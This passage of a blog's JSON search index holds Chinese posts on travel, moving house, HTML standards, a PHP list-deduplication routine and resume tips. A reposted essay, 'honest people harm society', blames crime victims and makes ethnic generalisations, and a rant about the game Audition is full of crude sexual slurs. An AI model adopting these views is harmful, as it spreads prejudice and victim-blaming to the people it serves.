呵呵\u0026#8230;\u0026#8230;\n晃荡了一天\u0026#8230;除了累没感到什么特别的\u0026#8230;.枫叶都还没红\u0026#8230;\n","title":"去了香山"},{"content":"换房子了\u0026#8230;\n不用再住地下室了\u0026#8230;\n不用再在公司打地铺了(其实有时候加班还是会难免\u0026#8230;)\u0026#8230;\n不过貌似我买笔记本的愿望要破灭了\u0026#8230;..555\u0026#8230;..\n没钱啦\u0026#8230;没钱啦\u0026#8230;\u0026#8230;..\n","permalink":"https://hessian.cn/p/573.html","summary":"换房子了\u0026#8230;\n不用再住地下室了\u0026#8230;\n不用再在公司打地铺了(其实有时候加班还是会难免\u0026#8230;)\u0026#8230;\n不过貌似我买笔记本的愿望要破灭了\u0026#8230;..555\u0026#8230;..\n","title":"搬新居了…."},{"content":"HTML 的未来，第一部分\nhttp://www.ibm.com/developerworks/cn/xml/x-futhtml1\nHTML 的未来，第二部分\nhttp://www.ibm.com/developerworks/cn/xml/x-futhtml2.html\nQuote 这两期文章介绍了 WHATWG HTML 5 和 W3C XHTML 2.0 的主要特点。这两个计划完全不同：草根组织 WHATWG 希望渐进式地改进 HTML 4 和 XHTML 1.0，而联盟支持的 XHTML 2.0 对 HTML 语言进行了彻底重构。\n虽 然不同，这两种方法仍然有可比性。WHATWG 规范的一些初步成果已经在浏览器中实现，WHATWG 的一些工作就是对 HTML 事实扩展的描述。其中一些重要的部分，如 XMLHttpRequest 将进入 W3C 的 Rich Client Activity 规范。WHATWG 在 Web 标准世界中还是有效的催化剂。\n把目光放远一些，XHTML 2.0 方法为 Web 提供了全新的词汇表，那时候 XML 的模块化处理、CSS 和 ECMAScript 将很快成为常见的事物。嵌入设备如电话和数字电视没有必要支持杂乱无章的遗留 Web HTML，可以毫无负担地利用纯 XML 词汇表 XHTML 2.0 的优势。此外，可访问性和国际化的新特性使 XHTML 2.0 成为第一个被认为具有通用性的 XML 文档词汇表，从而成为很多基于标记的工作的坚实而经济的基础。\n与过去一样，HTML 的未来也是不确定的，有人可能称之为混乱，但是我相信 XHTML 2.0 最终将得到广泛的接受和采纳。如果这是 Web 上惟一的 XML 词汇表，可能会有一些问题，但是因为浏览器准备应付 SVG、XForms 和其他技术，所以 XHTML 2.0 看起来仅仅是另一个基于 XML 的词汇表而已。\nQuote 为何要创建 XHTML 2.0？\nXHTML 1.0 的目的是将 HTML 转化成 XML 词汇表。它为 HTML 引入了 XML 语法约束：区分大小写、必须用引号括起来的属性值和成对的标签。这项任务完成了，XHTML 2.0 致力于解决 HTML 作为一种 Web 页面标记语言的问题。\nW3C 的 Steven Pemberton 在阿姆斯特丹 XTech 2005 大会上所作的演讲中（请参阅参考资料）阐述了 XHTML 2.0 的设计目标：\n1.尽可能的使用 XML：如果一种语言特性已经在 XML 中存在，就不要重复或者重新发明。 2.结构高于表示：感谢 CSS 样式表，HTML 不再需要专门的表示性标签。 3.使 HTML 更容易编写：删除 HTML 中一些无用的特征。 4.更高的可访问性、设备中立性：尽量避免假设读取文档的方式。 5.改进的国际化。 6.更好的表单：盼望已久的改进！ 7.减少脚本的需要：HTML 本身包含典型的脚本用法。 8.更好的语义：使 HTML 和语义 Web 应用程序更容易集成。 多余的话我就不说了，HTML5对Web标准真的产生冲击了吗？Web标准真的是变来变去的吗？建议关心HTML5的人认真地阅读这两篇介绍HTML未来的文章。\n","permalink":"https://hessian.cn/p/327.html","summary":"HTML 的未来，第一部分\nhttp://www.ibm.com/developerworks/cn/xml/x-futhtml1\nHTML 的未来，第二部分\nhttp://www.ibm.com/developerworks/cn/xml/x-futhtml2.html\nQuote 这两期文章介绍了 WHATWG HTML 5 和 W3C XHTML 2.0 的主要特点。这两个计划完全不同：草根组织 WHATWG 希望渐进式地改进 HTML 4 和 XHTML 1.0，而联盟支持的 XHTML 2.0 对 HTML 语言进行了彻底重构。\n虽 然不同，这两种方法仍然有可比性。WHATWG 规范的一些初步成果已经在浏览器中实现，WHATWG 的一些工作就是对 HTML 事实扩展的描述。其中一些重要的部分，如 XMLHttpRequest 将进入 W3C 的 Rich Client Activity 规范。WHATWG 在 Web 标准世界中还是有效的催化剂。\n把目光放远一些，XHTML 2.0 方法为 Web 提供了全新的词汇表，那时候 XML 的模块化处理、CSS 和 ECMAScript 将很快成为常见的事物。嵌入设备如电话和数字电视没有必要支持杂乱无章的遗留 Web HTML，可以毫无负担地利用纯 XML 词汇表 XHTML 2.0 的优势。此外，可访问性和国际化的新特性使 XHTML 2.0 成为第一个被认为具有通用性的 XML 文档词汇表，从而成为很多基于标记的工作的坚实而经济的基础。\n与过去一样，HTML 的未来也是不确定的，有人可能称之为混乱，但是我相信 XHTML 2.0 最终将得到广泛的接受和采纳。如果这是 Web 上惟一的 XML 词汇表，可能会有一些问题，但是因为浏览器准备应付 SVG、XForms 和其他技术，所以 XHTML 2.0 看起来仅仅是另一个基于 XML 的词汇表而已。\n","title":"关于web 标准的一些内容"},{"content":"由于我C不行,所以就用PHP来实现了,嘿嘿\n这个程序应该还可以再优化, 哪位高人给指点一下吧\n有线性表 L0,L1,L2 三个线性表\n要求将三个线性表中重复的元素删除,已知线性表的元素类型为 整型 且 按值的大小 升序排列\n// a b c 为三个线性表的游标\n$a = 0; $b = 0; $c = 0;\nwhile ( 1 ) {\nif ( !isset($L0[ $a ]) || !isset($L1[ $b ]) || !isset($L2[ $c ]) )\nbreak;\nif ( $L0[ $a ] == $L1[ $b ] \u0026amp;\u0026amp; $L1[ $b ] == $L2[ $c ] )\nunset( $L0[ $a ] );\n$a++;\nwhile ( $L1[ $b ] \u0026lt; $L0[ $a ] \u0026amp;\u0026amp; isset($L1[ $b ]) )\n$b ++;\nwhile ( $L2[ $c ] \u0026lt; $L0[ $a ] \u0026amp;\u0026amp; isset($L2[ $c ]) )\n$c ++;\n}\n","permalink":"https://hessian.cn/p/650.html","summary":"由于我C不行,所以就用PHP来实现了,嘿嘿\n这个程序应该还可以再优化, 哪位高人给指点一下吧\n有线性表 L0,L1,L2 三个线性表\n要求将三个线性表中重复的元素删除,已知线性表的元素类型为 整型 且 按值的大小 升序排列\n","title":"[原创] 一个用来删除线性表重复元素的算法"},{"content":" 老实人最突出的个性是胆小怕事，息事宁人，在个人受到不公正待遇时，宁愿自己付出代价也不敢讨还公道，就更不用说替社会申张正义和主\n待公道了。下面的一则事例更能说明传统中国人的老实本份背后隐蔽的灾难性恶果。\n去年无意间看了一本期刊，上面登载了这样一则故事：\n一个刚到美国的中国人去一家中国餐饭进餐，不巧遇上了劫匪。\n劫匪拿着一把刀子（在美国人人有枪，餐馆的老板也有）指向掌拒，掌柜把钱柜里仅有的两百多美元现钞全给了他。\n劫匪走后，中国顾客问老板为何不报警，老板说报警没有用，警察至少要半个小时才到，那时劫匪已逃得无隐无踪了。\n中国顾客不相信老板的话，他听说美国警察工作效率很高，案发三五分钟即可赶赴现场，为了证实老板的话是否可信，便作一次好事佬按\n响了报警号码。\n不想果然如老板所言，等了半个小时才来了两个警察，若无其事地做了一个笔录就走人。\n中国顾客义愤填膺，大骂美国警察混帐渎职。想不到中国老板竟然帮美国警察说话。\n\u0026ldquo;这也不能全怪美国警察，怪只怪我们自己当初不争气。说句凭良心的话，美国警察还是很不错的，既称职又不受贿。别的地方发生抢劫\n案，警察总是在三五分钟内赶赴现场，就我们中国餐饭例外。\u0026rdquo;\n\u0026ldquo;哪是为啥，美国人真的歧视中国人吗？\u0026rdquo;\n\u0026ldquo;那到不是，美国人的种族欺视并不象内地宣传的那样严重，造成目前的现状还是中国人自己。早期的情况不是这样，中国餐饭遭受抢劫\n时，美国警察也是在三五分钟内赶赴现场，当场把劫匪抓住，可受害人害怕报复，居然不敢站出来指证劫匪，警察只好把抓到手的强盗当场放\n掉。于是美国警察对来自中国案件的报警不再热心了，久而久之就成了今天这幅现状。\u0026rdquo;\n\u0026ldquo;这里别的商店也在光天化日之下遭抢吗？\u0026rdquo;\n\u0026ldquo;有是有，但很少，劫匪看到中国人好欺负，在光天化日之下一般只敢抢中国商店，因为抢别的商店风险太大，外国人不怕事，不但当场\n报警，还和劫匪搏斗，劫匪在得手之后很难安全逃脱。尤其是犹太人开设的店铺，劫匪更是不敢问津。犹太人在遇劫之后不但即刻报警，还督\n促警察办案，如果认为警察办案不力还会合伙出资悬赏缉拿劫匪。碰上这样的硬对头，劫匪只好自认到楣，唯一的对策就是不抢犹太人。这条\n街上只有一家犹太商店，中国餐饭则有十多家，可劫匪只选择人多势众的中国餐饭动手，犹太商店从未遭抢。就是那些中国人不敢出面指证而\n逍遥法外的劫匪也不感中国人的恩，过几天又照样来抢，好象不欺负中国人就天理不容一样。更为气人的是，来自中国的劫匪也选择中国餐馆\n动手！我们这个民族也真是的！！！\u0026rdquo;\n看了这则故事，我想起折腾了世界政治近半个世纪的中东问题。几百万个犹太人居住在被敌意的阿拉佰人包围的一块弹丸之地上，承受着\n面积和人口大出上百倍的阿拉佰世界的压力，结果反而越来越强大，阿拉佰世界几次联合起来作出铲除犹太人的尝试都没有成功。如果这块弹\n丸之地上（2.5万平方公里）居住的是几百万个中国人，诸位想想会是什么结果？\n犹太人能够在敌人的心脏长期生存下来并越来越强大，显然不是老实本份息事宁人的结果，而是拚死反抗任何形势的强暴和强加于他们的\n不公正。相比之下，中国人的老实本份在已知世界一再地吃大亏，十七世纪，可恨的西班牙人在菲律宾对数量比他们多得多的华人进行了三次\n灭种式的大屠杀。我并不奇怪西班牙人的灭绝人性，而是奇怪这些屠杀何以能够成功的进行？因为华人的数量占绝对的优势。之所以这样，除\n了华人的不团结外，华人的老实和胆小则是问题的关键。一直到前几年，小小的印度尼西亚居然也无视北方那个强大国家的存在，胆敢光天化\n日之下在首都的街道集众抢劫华人的财产，屠杀无辜的中华男人，当众轮奸中华妇女\u0026hellip;\u0026hellip;更令人痛心的是：这些暴徒在行凶之后居然没有得到\n应得的惩罚！诸位不妨想想，如果行凶的对象是美国人，结果会是怎样？我敢说印尼会成为第二个阿富汗！\n还有一个更具讽刺性的后果：中国人的老实怕事并没有造就他们奉公守法的国际形象，相反他们的形象因此一落千丈，不但得不到应有的\n尊重和保护，还成为邪恶势力争相凌辱的最佳对象。\n这都是老实本份付出的代价，可见老实本份确然不是什么好的品质，至少不是什么值得稍称道和发扬的品质。\n基于多方面的原因，中国人对老实人往往是很偏爱的，因为古往今来中国的国土上存在太多的暴徒和太多的非理性暴力，地痞流氓一直是\n中国历界政府解决不了的社会问题。因此中国人都爱老实人，认为老实人不会侵害他们的正当权益，丝毫也意识不到中国之所以有那么多的暴\n徒，就是因为中国的老实人太多的缘故，可以说每一个暴徒背后都有一个老实人在为其输血打气。如果没有如此多的的老实人为暴徒提供极好\n的生存环境，暴徒就没有容身之地了。老实人不但造就了流氓地痞车匪路霸；还造就了为数众多的贪官污吏，造就了难以扭转的腐败和不公正\n！因为中国的老实人太多，所以中国理性的暴力太少，结果非理性的暴力因为没有\u0026ldquo;天敌\u0026rdquo;的缘故，得以迅速滋长蔓延。我走遍了中国的大江\n南北，看到了不少恃强凌弱的社会画面，可很少看到弱者不畏强暴据理力争的镜头。\n综上所述，老实人最具社会危害性的特点有三：\n一是老实人胆小怕事，遇事藏头缩尾，在自己付出代价的同时也助长社会的邪恶势力。\n二是老实人没有责任心，没有担当，更没有主见，喜欢和浠泥，办事能力极差，若把重大的事情交给这号人一定要出大问题。如果让老实\n人当皇帝，朝中绝对是坏人的天下。\n三是老实人没有原则，千万不可让这号人去主持公道，这号人连黑白都不敢说，就更不能指望他们区分正邪了。\n在一个文明的国度里，一个拥有上述三个特点的公民是不是合格的公民？是不是值得称道的公民？当然不是，这样的公民应该越少越好！\n还是在上世纪九十年代，我暂居的小城破获了一个流氓团伙。这个团伙在当地作恶行凶了十多年，杀人、抢劫、**奸、强收保护费什么都\n干，团伙的头目更是恶贯满盈，群众一直对他们的暴行忍心气吞声，受害之后敢怒不敢言，害怕他们报复。头目在受审时，刑侦队员问他这些\n年作案频频得手的秘诀是什么，头目的回答竟然是那样的简单：\n\u0026ldquo;什么秘诀也没有，我一个大老粗，能有多少点子。现在作案很容易的，受害人都胆小怕事，既不敢反抗又不敢报警，所以每次都能得手\n。我刚出道时胆子也很小，后来就越玩越大了。\u0026rdquo;\n\u0026ldquo;难道就没碰过钉子？\u0026rdquo;\n\u0026ldquo;前两年碰到一个，在东门开鞋店的一个姓吴的蛮子，我上门收保护费，他不给，我拿匕首威胁他，想不到他小子比我还玩命，二话不说\n就抓起一把凳子往我头上砸，他老婆则抓起电话报警。我一看势头不对就跑了。\u0026rdquo;\n\u0026ldquo;那你事后有没有报复他？\u0026rdquo;\n\u0026ldquo;傻子才会去报复他！他那幅天不怕地不怕的崛脾气，带人去报复必然要出人命案，那样我也脱不了干系。我们只想发财，并不想和某人\n赌气拚死活。其实干我们这行的秘诀有一个，那就是识相，码头不是打出来的，而是看出来的，每次选择的对象最好是胆小怕事的，自尊心强\n的最好莫惹，不小心惹上了要即时缩手，那样才不会栽跟头。刚出校门的小流氓不谙此道，绝果没几天就栽了。\u0026rdquo;\n\u0026hellip;\u0026hellip;\u0026hellip;\u0026hellip;\n这个头目被判了枪决。公判会那天，我身边的一个老头声泪俱下地喊杀得好杀得好，人民政府万岁。我问他何以如此激动，他说这家伙丧\n尽天良，当着他的面把他女儿**奸了。我问他当时是否在场？他拍胸回答说在场，眼睁睁地看着这个坏蛋**奸他女儿长达一个小时。我再问\n头目可曾绑他，他回答说没有；又问他身旁可有凳子木棍什么的，他说有，不但有凳子木棍，还有锄头。\n\u0026ldquo;那你何不称他施暴时一锄头挖在他的头上？\u0026rdquo;\n\u0026ldquo;我哪敢呀？他是出了名的流氓，他会报复的。\u0026rdquo;\n看到这样的国民，我当时的气不打一处来，劈面一巴掌打在他的老脸上。\n\u0026ldquo;你也算人！你比那坏蛋更该杀！！！\u0026rdquo;\n因为中国有如此多的老实人，所以才造就了如此多的暴徒。国民一直在恃强凌弱的暴徒和忍气吞声的老实人两个极端徘徊，敢于反抗强暴\n又奉公守法的现代公民则少之又少。\n有一点需要特别强调一下：老实和诚实是两个不同的概念，中国人的爱撒谎和不诚实也是举世皆知的，别以为老实人会说真话，老实人一\n样在撒谎，一样不诚实，在大是大非面前，他们更没有勇气说真话。\n在外族入侵民族危亡的关头，老实人往往最容易当汉奸，都是恭顺的亡国奴。他们宁愿妻子儿女被外敌凌辱，也不愿奋起抗暴向侵略者讨\n还尊严和公道。所以老实人不可能成为民族英雄。\n在本文将要结束之际，我要郑重地申明一个观点：别以为糊涂老实不是缺点，它对人类文明的危害与邪恶是不相上下的，暴\u0026#8217;政多半和低素\n质的老实人群相伴而生。中华民族要想在已知世界立于受尊重的不败之地，就不可再偏爱老实人，最好和老实的国民告别！ ","permalink":"https://hessian.cn/p/334.html","summary":" 老实人最突出的个性是胆小怕事，息事宁人，在个人受到不公正待遇时，宁愿自己付出代价也不敢讨还公道，就更不用说替社会申张正义和主\n待公道了。下面的一则事例更能说明传统中国人的老实本份背后隐蔽的灾难性恶果。\n","title":"[转]老实人! 有害社会"},{"content":"转自：http://www.wwenglish.com/en/biz/7/2197.htm\n简历的定义：简历其实就是对你自己简短的描述，说明你是哪儿的人、做过那些事，也可以说简历是你自己给自己做广告。当然引起他人注意的广告或者说有说服力、有冲击力的广告是你求职成功的第一步。 简历的长度：程序员一般以2-3页纸为宜。高级研发人员一般不超过4页。CEO等高级行政管理人员当然不在此列。 简历的原则：简单明了，针对性强(To be concise and to the point)。给中介公司的简历则应尽量将关键字词列在上面。 简历的类型： 1. 按时间顺序排列(Chronological) 这是最常见的写法。但请注意时间顺序实际是按倒序排列的。 这种简历用于强调你的工作经验，年纪大经验多的人比较适合。 2. 按功能分类写(Functional) 这是一种按技能和重要性列出工作经验的格式。这种简历强调你的能力，年轻人比较适合。 履历和简历(CV vs Resume)有何不同： CV is much lengthier than a resume and emphasize your credentials and education. They usually follow very narrow guidelines and are very detailed. Published works are cited and seminars presented are also included. Employers are particularly interested in Education, Associations and Societies, Innovations, Product Launches, Published papers, Business Development, Globalization, Presentations, Research and Development, Software Skills. Educators, doctors, health care professionals, presenters, scientists and people abroad would use a curriculum vitae. International Vita will vary slightly. 简历的重要性：现在的雇主非常重视简历，人事部门收到一份简历后，一般会保存半年到一年。只要有空缺，他们会查看已经收到的简历。而加拿大人重视简 历和推荐信的程度有时让人觉得荒唐。然而这个社会就是这么重视简历，这是现实，不可改变，至少眼下是这样。况且他有它的道理。 简历的可信度：加拿大人相信你在简历上写明的一切。他们在雇佣你之前不会查证你的材料。假如你做CONSULTANT，那么你甚至有机会编一个大谎。假如你做雇员，那么进入公司以后，人事部门有权向你索取各种文凭证书并保留复印件。 简历不必写什么：加拿大的求职简历不是\u0026quot;向组织交代\u0026quot;，一切有关个人的隐私不必列上，比如种族、出身、性别、年龄、婚姻状况、社会保险号等等。出版、学术会议也不一定写上(不包括申请科研单位职位)。 简历的写法因人而异，但必须简洁明了。你的简历是你的门面，自然是专门概括描述你的，并不是别的任何人。这就是为什么随便用\u0026quot;简历样板\u0026quot;、甚至\u0026quot;简历软件\u0026quot;不能保证写出好简历的原因。你的整体能力、你的性格、你的风格都应该反映在你的简历中。 写简历应注意如下几点： 1、写给谁看？ 2、他(她)喜欢看什么？ 3、言简意赅、段落清晰、易读易记； 4、有内容、有深度、有风格； 5、简历必须整洁，否则很容易被人忽略，涂涂抹抹、皱皱巴巴是很糟糕的，会给雇主留下坏印象。对雇主来讲，邋遢的简历意味着邋遢的雇员。 6、打印多份，甚至十几份，几十份，以备用。 从现在起，请准备你的简历，并随时更新。去求职的时候，一定要带上简历，并留在哪里一份。 7、写好简历后，最好请别人帮你看一下，以免遗漏或错误。 8、假如你的推荐人名单是另写的，记住面试的时候一定要带上。 简历十大忌讳： 1、拷贝别人的简历格式； 2、不写日期(只列公司，不列日期)； 3、只有事实，没有表现(Responsibilities/Accomplishment/Your own role)； 4、工作经历太乱(换行业太频繁)； 5、怨恨字眼(Leave reason: sexual harassment/fired me for no good reason)； 6、个人信息(没人在乎你单身、结婚、拉提琴还是踢足球)； 7、太多不相关经历(只有你的家人才会关心你大学以前的事情)； 8、非职业化，不整洁(使用鲜艳的彩色纸/茶杯印)； 9、没有适当的目标(着急找工作并不表示应该广种薄收)； 10、只有简历，没有COVER LETTER。 ","permalink":"https://hessian.cn/p/330.html","summary":"转自：http://www.wwenglish.com/en/biz/7/2197.htm\n简历的定义：简历其实就是对你自己简短的描述，说明你是哪儿的人、做过那些事，也可以说简历是你自己给自己做广告。当然引起他人注意的广告或者说有说服力、有冲击力的广告是你求职成功的第一步。 ","title":"［转］简历手册"},{"content":"原标题:劲舞属于性X，不看白不看。\n不过我觉得还是这个标题好点\u0026#8230;\n越来越恶心\u0026#8230;\u0026#8230;.世界上还有清静地吗?\n不知道什么时候开始，\n劲舞里面充斥着很多和身体下部有关的话题。 15，6岁的女孩子喜欢喊自己娘。\n17，8岁的男孩子爱叫自己爷。 名字叫的淫荡，喇叭刷的龌龊。 在现实里无论多丑的女人，\n在劲舞里穿上好看的YY后，\n都变成了公主。 哦，不对，叫公主他们不开心，\n用他们流行的话来说，都变了成极品货色。 这种货色基本在劲舞里都非常的\u0026ldquo;吃的开\u0026rdquo;，\n也就是所谓的混的好。 亲戚朋友一大堆，\n屁股后面男人也一大堆。 那些男人的目的也很单纯，\n只是想和你上个床，只是想用你个小钱。 因此她们没有泡不到的男人，只有不想泡的男人。\n劲舞里的男人，\n都是帅哥，\n成熟点的打着领带，\n穿着西装。 青春点的HIP-HOP风格，\n球鞋一穿，整一个潇洒的难以形容。 假如你会蹦下197或者188，\n那可就更加完美。同时你也会很忙。 你的儿子女儿侄子侄女甚至外甥，\n外甥女会\u0026ldquo;噌\u0026rdquo;的一下多起来。 身后面的美女们排着队，刷着喇叭，\n拉大嗓门问\u0026ldquo;你到底爱不爱我？\u0026rdquo; 至于你现实里是不是一个40岁的大叔正光着脚丫，\n挖着鼻屎在网吧里上网根本没人在乎！ 人家要的就是距离美\u0026nbsp;\u0026nbsp;\n劲舞里不能随便T人，特别是那些名字起的特流行的，打字都打繁体的那些人。你要不小心T到他们了，那你完了。要怪自己手贱了。不出5秒中，保证外面挂满了名字为踩死你或者更恶心恶毒的房间。 劲舞里也不能玩的太好。如果你160以上的8K连个8P以上，就会一屋子的人骂你是外挂。这时你不需要解释，你需要的就是趁一首歌结束后，自己迅速的找到离开键，点一下。否则你的下场往往比自己离开更惨烈！ 如果有天有人突然找你做他的妈咪爹地，你千万不要受宠若惊。我保证你答应了他之后，结果就是被无限的缠住帮他买YY，买喇叭。他们的理由很简单，都叫你妈眯爹地了，你还不好好疼我？ 劲舞里找老公的女人，一半是真的因为感情。这感情也包括好多种，就不一一分析了。我要说的是另一半找老公的女人，她们只是为了找男人买YY，我就觉得奇怪 了。人家男人干吗要帮你买YY？同样，找老婆买YY的更搞笑，还是不是个男人，就几十块钱的事，都拿不出来么？可见现实里是个什么样的球还真没人知道。 劲舞里爱踩人的基本都是G，可是如果别人的G用的比他好了。他会很不客气的说，你这个垃圾竟然开G和老子跳？劲舞里刷喇叭的10个有9个是鸡，当然这个只 是听说，没有证实过。在我的理解里，也差不多吧。不然就是高级白领？高级金领？真正家里有钱的能有几个？不过据我所知，也有人真的傻到去买喇叭来证实自己 在AU里的地位。 总结，如果你在生活里得不到满足。那就来玩劲舞团吧，只要你愿意付出金钱，砸下时间。买的起外G，刷的起喇叭，穿的起衣服，供的起亲戚。那你将会是劲舞团 大多数人民心中的光辉大英雄。他们会叫你偶像或者更多你想听到的称呼。假如你太空虚，就到劲舞团里来堕落吧，无论你叫自己贱货，婊子还是垃圾，都会得到无 限的尊重！ 套句流行的话；2007年劲舞团，陪您Y D~ 玩这游戏很酷B的男的,你们一定为上了好几个女人而在一边偷偷暗笑吧! 玩这游戏很疯狂的女的,你们一定为为了网络爱情而放弃现实爱情而偷偷的后悔吧! 还有那些更JB恶心的,大老爷们装女人说话的! 我突然有个要求不知道劲舞玩家高兴不高兴,建议劲舞团从此改名为\u0026lt;精舞团\u0026gt;! 此后再开14组服务器: 服务器名称 一夜情区 开苞区 口暴区 菊花区 乳J区 ASS交区 感情陪护区 人妻区 痴汉区 断背区 震动棒区 修复chu女膜区 绿帽讨论区 专业破鞋区 游戏本身出发点是挺好的，听听歌，跳舞！但这个游戏，创造了多少一夜情!我不是什么狗屁学者,更不是让人恶心呕吐的\u0026quot;砖\u0026quot;家,我顶多就是一愤青,起码我爱祖国,我知道什么是道德!最后,我多费几句话, 说实在的，玩劲舞团的男人没有几个好人，都是想着怎么才能把女人弄到手，而玩劲舞团的女人，多半是把游戏中的角色想成自己，看到那绚丽的舞姿，想着自己有 一天也能跳成那样，实际上自己不会,本来有梦想挺好的，但是你来错了地方，劲舞团就是一狼窝,如果说的更全面一些,就是一网络妓院,玩着玩着我就要吐了, 劲舞团堂而皇之的鼓励未成年谈恋爱,我仿佛看到了我们国家的未来,你们可以骂我是农民，因为我已经被人骂过了,因为穿的是新手衣，给别人说是农民,我真无 耻的败了,兄弟我家自己做生意买车买房网银行跑的时候,丫你还不知道什么是人民币!!可以想象,有多少孩子为了不让人说老土,然后第2天去买卡买衣服.几 天的伙食费就没了..后来别人又说天天穿这衣服，没新鲜感.结果又去冲卡买了好几套衣服轮着穿.几次下去\u0026#8230;.哎,不赚钱永远体会不到赚钱的辛苦,我很 清楚的看到劲舞团里面大部分是一群想装B耍酷现实中又没本事的小P孩. 你们可以鄙视我是一SB,那正好说明我说到了你的痛处.里面老公老婆的满嘴吹,乖乖,我真替你们汗颜,我不知道为了这个虚拟的游戏,多少女的受到过伤害, 劲舞团可以简单的概括成:爱情在这里几乎不存在,友情在这里很充实: 男的看见有房间找老公像大狼狗一样往里面钻~就为了想日个比！ 女的看见有房间找老婆像发春猫一样往里面跳~就为了一套永久！ 兄弟之间，有踩必喊~你一出事，我立刻就到，哪怕我不会跳，至少我可以为你打打气~加加油！\n为了兄弟，某些人愿意大开外G！照死踩，分嗨高！外G满天飞，你赢我说你是G，我赢你说我是G~反正一般谁赢了，分又高，就是G！\n于是远程搞起，视频接起~甚至为了拼个高下，不惜坐着火车，乘着飞机，大老远去和对方见面跳！（这是甩B）更头脑不好一点的呢，就是喇叭对刷，喇叭排满了怎么办呢？视频接起，我烧一张100块，你烧一张100块（当真人民币不值钱？） 你上线不说话吧\u0026#8220;人家说你装深沉\u0026#8220;\n你上线话多吧。人家说你废话连篇。\n你开个前面的房间吧。人家说你牛b`。\n你开个后面的房间吧。人家说你土b`。\n有人飞你。\n你刷喇叭骂他吧。人家说你装b。\n你不刷喇叭骂他吧。人家说你傻b。\n人家问你借点吧。你不借。人家说你抠b。\n人家开个房间踩你吧。你不去接。人家说你菜B。\n你去接了。人家说你挂B。\n你开房间蹦个同吧。人家说你不前卫。\n你开个高8吧`。人家又说你想虐人。\n和女生多说两句吧。人家说你花痴。\n不理女生吧。人家说你贱b。\nHOHo，天啊，`这就是劲舞，有意思吗？随意还是抱着一平常心，没的事了上去跳的玩玩。不要太认真！莎士比亚说：TO BE NOT .\n","permalink":"https://hessian.cn/p/652.html","summary":"原标题:劲舞属于性X，不看白不看。\n不过我觉得还是这个标题好点\u0026#8230;\n越来越恶心\u0026#8230;\u0026#8230;.世界上还有清静地吗?\n不知道什么时候开始，\n劲舞里面充斥着很多和身体下部有关的话题。 15，6岁的女孩子喜欢喊自己娘。\n17，8岁的男孩子爱叫自己爷。 名字叫的淫荡，喇叭刷的龌龊。 ","title":"玩劲舞等于被强X"},{"content":"又或者说哪里没有主流? 当非主流成为主流\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n混乱啊\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;..现在乱七八糟的流行元素\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;头痛\u0026#8230;\u0026#8230;\u0026#8230;.世界变得真快\u0026#8230;\u0026#8230;\n人们的思想也越来越奇怪\u0026#8230;\u0026#8230;\u0026#8230;..什么样的世界啊\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;..\n安静\u0026#8230;.安静\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;夜永远是那么美妙\u0026#8230;\u0026#8230;只有在这个时候才能享受那远离喧嚣的感觉\u0026#8230;果然乱七八糟啊\u0026#8230;\u0026#8230;..\nsilent \u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\n\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;\u0026#823